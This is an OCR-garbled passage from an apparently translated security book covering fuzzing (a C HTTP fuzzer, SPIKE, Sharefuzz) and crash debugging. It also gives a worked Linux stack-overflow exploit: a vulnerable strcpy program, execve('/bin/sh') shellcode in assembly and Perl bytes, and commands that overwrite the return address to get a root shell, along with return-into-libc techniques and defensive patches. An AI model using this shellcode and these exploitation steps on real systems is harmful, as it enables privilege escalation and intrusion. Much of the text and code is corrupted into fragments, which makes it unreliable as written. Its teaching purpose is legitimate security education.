at OxD1668E: numlloc (vg_replace_malloc.c: 153)

by 0x8048395: main (in valgrind_3)

by Ox126BBE: _ _ libc_start_main (in /lib/libc-2.3.2. s0)

by Ox80482EC. (wi thin val grind_3)
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==16584==
==16584== LEAK SUMVARY
==16584== definitely lost: 40 bytes in 1 bl ocks.
==16584==  possibly |l ost: 0 bytes in 0 bl ocks.
==16584== still reachable: 0 bytes in 0 bl ocks.
==16584==  suppressed: 0 bytes in O bl ocks.
==16584==  Reachabl e bl ocks (those to which a pointer was found) are not
shown.
==16584==  To see them rerun with: --showreachabl e=yes

valgrind

valgrind
valgrind

IBM Rational Purify/PurifyPlus
Purify  PurifyPlus IBM Windows  Linux/Unix

[1] OllyDbg http://home.t-online.de/home/Ollydbg/

[2] WinDbg  www.microsoft.com/whdc/devtools/debugging

[3] Softlce  www.compuware.com/products/devpartner/softice.htm

[4] Vagrind http://valgrind.kde.org/

[5] IBM Rationd PurifyPlus  www-306.ibm.com/software/awdtool s/purifyplus/

13.4
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“ " protocol aware
HTTP
ASCII ASCII

13.5

13.5.1

A N

HTTP Hypertext Transfer Protocol

RFC 2616 SSH
RFC
URL
URL
/*
* sinple_http_fuzzer.c
*/
#i ncl ude <stdio.h>
#i nclude <stdlib.h>
#i ncl ude <sys/socket.h>

ASCII

www.ietf.org

valgrind
valgrind

Web
Web
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10:
11:

12:
13:

14:
15:
16:
17:
18:
19:
20:
21:
22:
23:

24.
25:
26:
27:
28:
29:
30:
31:
32:
33:
34.
35:
36:
37:
38:
39:
40:
41
42:
43:

44.
45:
46:

#i nclude <netinet/in.h>

/1 URL

#define MAX_NAME_LEN 2048
I11P

#define MAX | P_LEN 16

I

char request[]

i nt

HTTP

= "GET Ws.htm HITP/ 1. 1\r\ nHost :

mai n(int argc, char **argv) {
/1 HTTP
char buf [ MAX_NAME _LEN + sizeof (request) + MAX_ | P_LEN;

11

struct sockaddr_in server;
int sock, len, req_len;

if (argc '=2) { [/

fprintf(stderr, "M ssing server

I P

o%s\r\n\r\n";

| P address\n");

exit(1);
}
nmenset (&erver, 0, sizeof(server)); /1
server.sin_famly = AF_I NET, /1 | PV4
server.sin_port = htons(80); /1 80
[l argv[1] IP
if (inet_pton(AF_I NET, argv[1l], &server.sin_addr) <= 0) {
fprintf(stderr, "Invalid server |IP address: %\n", argv[1]);
exit(1);
}
/1 URL
/1 MAX_NAME_LEN
for (len = 4; len < MAX_NAME_LEN; len += 4) {
/1 socket
sock = socket (AF_I NET, SOCK_STREAM 0);
if (sock == -1) {
fprintf(stderr, "Could not create socket, quitting\n");
exit(1l);
}
I WEB 80

i f (connect(sock, (struct sockaddr*)&server, sizeof(server))){

fprintf(stder

r,

"Fail ed connect to %s,

quitting\n", argv[1]);

cl ose(sock);
exit(1);

I

365
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47: /1 HTM.
48: /1 *
49: reg_l en = snprintf(buf, sizeof(buf), request,
len, "A", argv[1]);

50: /1 A
51: menset (buf + 4, A, len);
52: /1
53: send(sock, buf, req_len, 0);
54: /1
55: /1 recv
56:
57: if (read(sock, buf, sizeof(buf), 0) <= 0) {
58: fprintf(stderr, "Bad recv at len = %\ n", len);
59: cl ose(sock);
60: br eak; 1/ recv
61: }
62: cl ose(sock);
63: }
64: return O;
65: }

HTTP 13 34~63

HTTP
HTTP %"s
len snprintf
len
HTTP
len
Web bad httpd URL 256
# ./sinple_http fuzzer 127.0.0.1
# Bad recv at len = 276
276
Web

# gdb bad_httpd core. 16704

Core was generated by './bad_httpd’
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Programtermnmi nated with signa

#0 0x006c6d74 in 2?2 ()

Web

URL

Web

HTTP
L4 recv

URL

11, Segnentation fault.

eip
eip
Web

recv
socket

367

0x006c6d74
“* tml ”

segfault

http://gi me. noney. coni cgi - bi n/ | ogi n?user =sm t h&passwor d=sni t hpass

URL

password

13.5.2

smith  smithpass

RFC

Ethered

RFC
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HTTP POST
PCST /cgi-bin/login.pl HTTP/1.1
Host: gi nme. noney. com
Connection: close
User-Agent: Mozilla/6.0
Cont ent - Lengt h: 29
Cont ent - Type: application/ x-wwf or m encoded
user= sm thé&pas sword=snithpass
user user
HTTP Content-Length
13.5.3 SPIKE
SPIKE /AP Immunity, Inc DaveAitel
SPIKE C
TCP  UDP SPIKE
HTTP MSRPC Microsoft Remote Procedure Call SPIKE
SPIKE C
SPIKE API “ gpike” API spike
spike spike
block SPIKE block
block
spike SPIKE API block block
SPIKE block
SPIKE API APl

SPIKE spike.h
SPIKE
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Spike

spike
SPIKE set_spike() “ " gpike
SPIKE

e dtruct spike *new_spike () spike

* int spike freg( struct spike*old_spike) spike

® int set_spike (struct spike * newspike) newspike spike
spike

SPIKE

spike set_spike spike

s _string (char *instring) spike
s _binary (char *instring)
spike
s _bigword (unsigned int aword) abig-endian word
spike spike 4
s xdr_string (unsigned char *astring) astring 4 astring
spike astring XDR

XDR  External Data Representation

® s hinary repeat (char *instring, int n) spike n instring

® s string_repeat (char * instring, int n) spike n instring
e s intelword (unsigned int aword) spike 4

e s intelhalfword (unsigned short ashort) spike 2

SPIKE Block

block block
spike
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¢ int_block_start (char * blockname) blockname  block

spike block_end

block block
¢ ints block_end (char *blockname) blockname  block spike
block
block HTTP block
ASCII
SPIKE block
e ints binary block size word_higendian(char *blockname) 4
spike block

e int s hinary _block size halfword_higendian(char *blockname) 2 block
e ints binary block size intel_word(char * blockname) 4 block
e ints binary block size intel halfword(char * blockname) 2 block
e ints binary block size byte (char * blockname) 1 block
e int s blocksize string (char *blockname, int n) n block

block ASCII
¢ ints blocksize asciihex (char *blockname) 8 block block

ASCII
SPIKE
SPIKE
spike SPIKE
e void s string_variable (unsigned char *variable) ASCII
spike SPIKE

spike

SPIKE

SPIKE SPIKE
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SPIKE

® ints parse (char *f ilename) SPIKE
SPIKE

HTTPPOST

PCST /cgi-bin/login.pl HTTP/1.1

Host: gi me. noney. com

Connection: close

User-Agent: Mozilla/6.0

Cont ent - Lengt h: 29

Cont ent - Type: application/ x-wwf or m encoded

user= sm thé&pas sword=snithpass

SPIKE HTTP user  password

s_string("POST /cgi-bin/login.pl HITP/1.1\r\n");
s_string("Host: gi me. noney.comr\n);
s_string("Connection: close\r\n");
s_string("User-Agent: Mzilla/6.0\r\n");
s_string("Content-Length: ");

s_bl ocksi ze_string("post_args", 7);
s_string("\r\nContent-Type: application/x-ww-formencoded\r\n\r\n");
s_bl ock_start("post_args");

s_string("user=");

s_string_variable("smth");
s_string("&password=");

s_string_variabl e("snithpass");

s_bl ock_end(" post _args");

SPIKE demo.spk
SPIKE generic_send tcp
spike spike spike
generic_send_tcp 5
spike
0
demo.spk

# ./generic_send_tcp gi nme. noney. com 80 deno.spk 0 0
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gimme.money.com  Web HTTP user
password socket generic_tcp_send
SPIKE
generic_send_tcp.c SPIKE API SPIKE
SPIKE API spikeh  spike.c
13.5.4 SPIKE
SPIKE DaveAitd Web
Web
SPIKE SPIKE
SPIKE SQL
SPIKE Python
13.5.5 Sharefuzz
Sharefuzz Dave Aitel suid  root
suid
passwd root
suid  root
Sharefuzz Unix LD PRELOAD getenv
134 getenv 135 Sharefuzz getenv
getenv("HOSTNAME"); getenv("HOSTNAME");
"HOSTNAME=hackbait" "AAAAAAAAAAAAAAAAAA.."
13.4 libc getenv 135 Sharefuzz getenv
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[1] SPIKE Www.immunitysec.com/resources-freesoftware.shtml
[2] SPIKE Proxy www.immunitysec.com/resources-freesoftware.shtml
[3] Sharefuzz www.atstake.com/research/tool s'vulnerability _scanning/
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oo w» 9

> oow»

O

o0 wp

o0 wp

valgrind

40

BugScan

shellcode

w

40
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7. SPIKE

Python
HTTP

oo

©O0Ow>»

13.6.2

5 A Bug B

Bug D
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6. C
A
B

D
7. A SPIKE SPIKE API

B SPIKE

C SPIKE
D SPIKE
8. D
A B
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octafloogaron

” “

core dump

widget

“ " exception

segmentation fault  segfault
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segfault
gdb segfault

Program recei ved signal SIGSEGY, Segnentation fault.
0x08048327 in main ()

0x41414141

CPU 141

Registers (FFU) < < < < < <
ER: @a12FFFC ASCII "ARARRAARAARRRARARARAARRAAARAARARRARARARAARAARARARARARAAARAA
ECH BEREHEaEE6

EC EREEEES T

EEX FFFOF@E6

ESF @R12FF24 ASCIT "RAARRRRARRAARRRAAARRARRARARAARAAAAAR"

EEF 41414141

ESI 884@98Bs overf low. BB4036E2

EDT ERAGEHERR

EIF 41414141

B ES BEZ22 SZbit BIFFFFFFFF)

B C5 Bale 32bit BIFFFFFFFF)

B S5 BEZZ SZbit BIFFFFFFFF)

@ D05 @e23 3Zbit BIFFFFFFFF)

B FS Ba3s 32bit FFFOEEBE(FFF)
S GE @EEE MULL

|

LastErr ERROR_PROC_MOT_FOUMD [ BEEEAETF )
EFL @mai@azaz (Mo, HNE, ME, A, MS, PO, GE, 5]

STE empty —-UMORM SAZH FPFE7OVE FPFI44A2
ST1 empty —UHORM 99R2 HOSBE00E BOSC92FQ
ST2 empty 1. ?5438449?53245?@2882+1?3?

ST3 empty —=*?Y FFFF SECER TYEASE4F4
ST4 empty A, 1186895?889285?26882 4333
5TE empty +UMORM BEZ2E AEEEE BEVIHETES

STE empty +UHORM BECF 886988?4 BEc 18650
STY empty +UMORM BHCE HOZ00HCE HOSCHOCS
32180 ESPUDEZDTI
FST BE@8 Cond B8 B 8 8@ Erc B0 0 0068 4648 (GT)
FCW 1272 Prec MERR,&4 Mask A - A O

OllyDbg

379

14.1 OllyDbg

x86 eip
eip
eip
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elp
elp
eip
ep
eip
elp
segfault
b a
shellcode
1
shellcode
shellcode ep
shellcode CPU
shellcode
shellcode
shellcode ep
€sp
esp 4
“ jmpesp” “ cal ey’

elp

ep
ep

ep

elp
“ shellcode

shellcode

shellcode

shellcode
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“ jmpesp” ¢ cal esp”
“ jmp esp”
shellcode 14.2

/r;t\ o,
ebp —» ebp
ep
14.2
ep
shellcode
shellcode ep es
“ J mp a ”
x86 es
es edi
jump
NGS Software  David Litchfield getopcode.c
Linux
getopcode exploitable “ jmp edi”

# ./ getopcode exploitable "jnmp edi™”
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GETOPCODE v1.0
SYSTEM (from /proc/version):
Li nux version 2.4.20-20.9 (bhconpile@tripples.devel.redhat.com (gcc
version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 Mon Aug 18 11: 45:58 EDT
2003
Searching for "jnp edi" opcode in exploitable
Found "jnmp edi" opcode at offset OxO000AFA2 (0x08052f a2)
Fi ni shed.
exploitable ep

edi shellcode ep 0x08052fa2

shellcode
[1] David Litchfield, "Variationsin Exploit Methods between Linux and Windows"
[2] www.nextgenss.com/papers/exploitvariation.pdf

14.2

elp
shellcode
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14.2.1

shellcode
shellcode shellcode

stremp() strcmp  .got

foo() bar()

bar() strepy ()
bar() foo()

I
voi d bar(char *buffer_pointer) {
I

}

I
/1
void foo() {
char buff[256];
while (1) {
bar (buff);
/1 buf
/1
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14.2.2
[ ]
[ ]
U] shellcode
[ ]
“ ” shellcode
24.x Linux
grsecurity  PaX Linxu “
8 14.3 Linux
execve() C
i nt execve(const char *fil ename, char *const argv[], char *const envp[]);
filename argv  envp
execve()
shell execve() shell

shell
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ELF execve()
argc
main argv —
— envp argv
envp env
-1~
\
LT~ env \
/ \
/ \
/ ELF ‘l null
env ;I ,l
null : ]
| \ /l
‘\ //
\ <«
Y Linux df
\> env
exe
4 null
14.3
execve() Linux do_execve() fs/exec.c ELF
fs/binfmt_elf.c
143  execve()
° 4 NULL OXBFFFFFFC
U NULL ASCII
U “ " NULL ASCII
<name>=<vaue> TERM=vt100
NULL ASCII
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. 0 0~8064
o 112 ELF fgbinfmt_elf.c
create elf tables
®
®
U] _start main()
e main() argc argv
envp
shellcode
Linux
8064
8064
fgbinfmt_elf.h create_elf_tables()

#if defined(___i386__) && defined( CONFI G_SMP)

/*

*In some cases (e.g. Hyper-Threading), we want to avoid L1 evictions
*by the processes running on the same package. One thing we can do
*is to shuffle the initial stack for them

*

*The conditionals here are unneeded, but kept in to make the

*code behavi our the sane as pre change unl ess we have hypert hreaded
*processors. This keeps M Marcel o Person happier but should be renoved
*for 2.5

*/

i f(smp_numsiblings > 1)
u_platform= u_platform- ((current->pid %64) << 7);
#endi f
x86 if 2.6
RedHat Fedora
if
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0~8064
u_platform

ASCII

ELF
u_platform
ID pid u_platform execve
pid ID pid
u_platform ELF
ELF
pid
164
pid pid 64
128 128
NOP sled 128
NOPded
8064 NOP
ID
pid
shellcode
shellcode

387



388
envp
0xC0000000 - (strlen(executable_path)) + 1)
0xC0000000 4
NULL strien (full path) + 1
shellcode shellcode
mkdir
vulnerable.c
#cat vul nerable.c
#i ncl ude <stdlib. h>
int main(int argc, char **argv) {
char buf[16];
printf("main’ s stack frane is at: %8X\n", &argc);
strcpy(buf, argv[1]);
b
# gcc -o /tnp/vul nerabl e vul nerable.c
vulnerable
shellcode

ng_al eph. asm
; nasm -f bin ng_al eph. asm
USE32

_start:
jmp short bottom ;
top
pop esi ;1 bin/sh
xor eax, eax ; eax
push eax ; NULL
nov edx, esp ; envp{ NULL}
push esi ;. /bin/sh
nov ecx, esp ;argv{" /bin/sh” , NULL}
nov al, Oxb ; execve

nov ebx, esi ; “ [ bi n/sh”

shellcode

“ /u

Aleph 1
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i nt 0x80 ;
bott om
call top ; / bin/sh
; db "/ bi n/ shl’
ng_aleph.pl  Perl “ [bin/sh”
shellcode
#1/ usr/ bi n/ perl
bi nnode( STDOUT) ;
print "\xeb\xOf\x5e\ x31\ xcO\ x50\ x89\ xe2\ x56\ x89\ xel"
"\ xb0O\ x0b\ x89\ xf 3\ xcd\ x80\ xe8\ xec\ xf f\ xff\ xff"
Perl  binmode
Unicode
shellcode Linux
13 /ll
shellcode /bin
# nmkdir -p ‘./nqg_al eph.pl‘/bin
/sh shellcode ~

#1n -s /tmp/vulnerable ‘./nqg_al eph.pl‘/bin/sh

#ls -IR*
-rwxr--r-- 1 denp deno 195 Jul 8 10:08 ng_al eph.p

total 1
drwxr-xr-x 2 denop denp 1024 Jul 8 10:13 bin

total O
I rwxrwxrwx 1 demop denp 15 Jul 8 10:13 sh -> /tnp/vul nerabl e

shellcode ASCII bin sh /bin/sh

shellcode vulnerable

# './ng_al eph. pl*/bin/sh
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OxBFFFFFDE 0xC0000000 - 4 - 3019

# './ng_al eph.pl‘/bin/sh\

“perl -e ’binnode(STDOUT); pri nt
main's stack frame is at: BFFFEBEO
sh-2. 05b# exit
exit
# './ng_al eph.pl*/bin/sh\

“perl -e ’binnode(STDOUT); pri nt
main's stack frame is at: BFFFED60
sh-2. 05b# exit
exit
# ' ./nqg_al eph. pl */bin/sh

shellcode

"\ xDE\ xFF\ xFF\ xBF" x10; " *

"\ xDE\ xFF\ xFF\ xBF" x10; " *

‘perl -e ’binnpde(STDOUT); print "\xDE\xFF\ xFF\ xBF"x10; "
main's stack frame is at: BFFFFOEO
sh-2. 05b# exit
exit
libc
“ ” shellcode
shellcode
libc
shellcode Solar Designer  Bugtrag ! ”
libc libc
libc system()
system() c
\-u system shell
= system("/bin/sh");
system() C
system()
C Nergal Phrack 58 “ ”
libc ! " frame
faking epilogue

x86 ebp
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leave  ret
push ebp
sub esp,
eip ebp ebp leave
ebp esp
ret ebp
ebp 14.4
bar() foo() NULL
NULL NULL
bar() ebp
Expanded view of buf
Overwritten by 36 bytes OxBFFFF8DC
null byte
Next ebp OxBFFFF900
Next eip OxBFFFF904
212 bytes
OxBFFFF8DC buf[256] )
ebp —P» [ 0xF8 0xF9 OxFF OxBF saved bar ebp
> Stack frame of foo
OxBFFFF9EO saved eip
OxBFFFF9E4 foo args... (4 bytes) <
OxBFFFF9E8 bar locals... (16 bytes)
OxBFFFF9F8 saved ebp
> Stack frame of bar
OxBFFFFOFC saved eip
bar args
J
14.4 ebp
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foo()
OxBFFFF900

esp

bar()

14.2.3

libc

libc

16MB

OXBFFFFOF8
€sp Next ebp

ret

libc

bar() ebp
bar ebp
Next ebp ebp
ebp
Next eip ep

NULL 0x00000000 - OXO0FFFFFF

[1] Solar Designer, "Getting Around Non-executable Stack (and Fix)"
www. securityfocus. com/archive/1/7480
[2] Nergd, "Advanced Return into libc Exploits' www.phrack.org/phrack/58/p58-0x04

14.3

14.3.1
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14.4.1

o0 wp

eax
ecx
edx
ebx
esp
ebp
esi

edi

eip

0x080483f 3:

0x41414141
0x7134f0

Oxbf f209c0
0x712238

Oxbf f 20990
Oxbf f 209a8
Oxbf f 20a34
0x41414141
0x080483f 3

nov

Bug

Full-Disclosure

shellcode

eax
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O

OO0 w>»

oS0 w >

>

o0 w >

libc

canary

133t h4xO0r

ep

shoutz  greetz

Bug

w

D. 133t

395
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14.4.2

B

shellcode

ep

libc
libc

”

shoutz

canary

0x080483f3
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15.1.1

SSH  POP3
Web

[1] Port Knocking  www.portknocking.org
[2] M. Krzywinski, "Port Knocking: Network Authentication Across Closed Ports,"
SysAdmin Magazine 12:12-17 (2003) www.portknocking.org
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15.1.2

OpenBSD

PaX and grsecurity
exec-shield

Openwall Project

I mmunix

NGSEC StackDefender
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[1]
[2]
[3]
[4]
5]
(6]

15.2

15.2.1

OpenBSD www.openbsd.org

PaX and grsecurity http://pax.grsecurity.net and www.grsecurity.net
exec-shield http://people.redhat.com/mingo/exec-shield/

Openwall Project www.openwall.com/linux/

Immunix WWW.immunix.org/

StackDefender www.ngsec.com/ngproducts/stackdefender
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strepy() strnepy ()
strncpy() n
NULL
n NULL
diff  patch
diff
diff
diff
diff
diff
diff

* -a diff
e -y diff unified

diff

401
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rooted hackable
hackable not diff

di ff -aur hackabl e/ hackabl e_not/ > hackabl e. patch

examplec example fixed.c

# diff -aur exanple.c exanple_fixed.c

--- exanple.c 2004-07-27 03:36:21. 000000000 -0700

+++ exanpl e_fixed. c 2004-07-27 03:37:12. 000000000 -0700
@-6,7 +6,8 @@

int main(int argc, char **argv) {
char buf[80];
- strcpy(buf, argv[O0]);
+ strncpy(buf, argv[O0], sizeof(buf));
+ buf[sizeof (buf) - 1] - O;
printf("This programis named %\n", buf);

}
+ - +
patch
patch
patch diff diff patch
example.c diff example.patch patch

patch exanpl e.c < exanpl e. patch

example.c example_fixed.c example_fixed.c

15.2.2
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bookkeeping
ELF
Executable and Linking Format Unix Linux
PE Portable Executable Windows ELF
151
ELF header
Program header table
Segment 1
Segment 2
Section header table
15.1 ELF
ELF header program
header table  section header table program header table
program segment  program segment program
section program header table segment

segment segment
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segment

section header table

e bsssection

e datasection
e text section

ELF

cave

section

program section

section header table

section
section
section
hole Halvar Flake
program section
7

15.2

ELF
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.text section
_>
15.2
Xdelta Xdelta diff patch
Xdelta
Xdelta “ deta’
Xdelta delta
12345
45
strepy() strnepy ()
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table

[1]
[2]
[3]
[4]

15.3

strncpy() strncpy()
strnepy() strnepy() strepy()
strncpy()
strncpy()
import
strnepy()

diff www.gnu.org/software/diffutil /diffutils.html

patch www.fsf.org/software/patch/patch.html

ELF Specification http://x86.ddj.com/ftp/manual 'tool s/elf.pdf
Xdeta http://sourceforge.net/projects/xdel ta/
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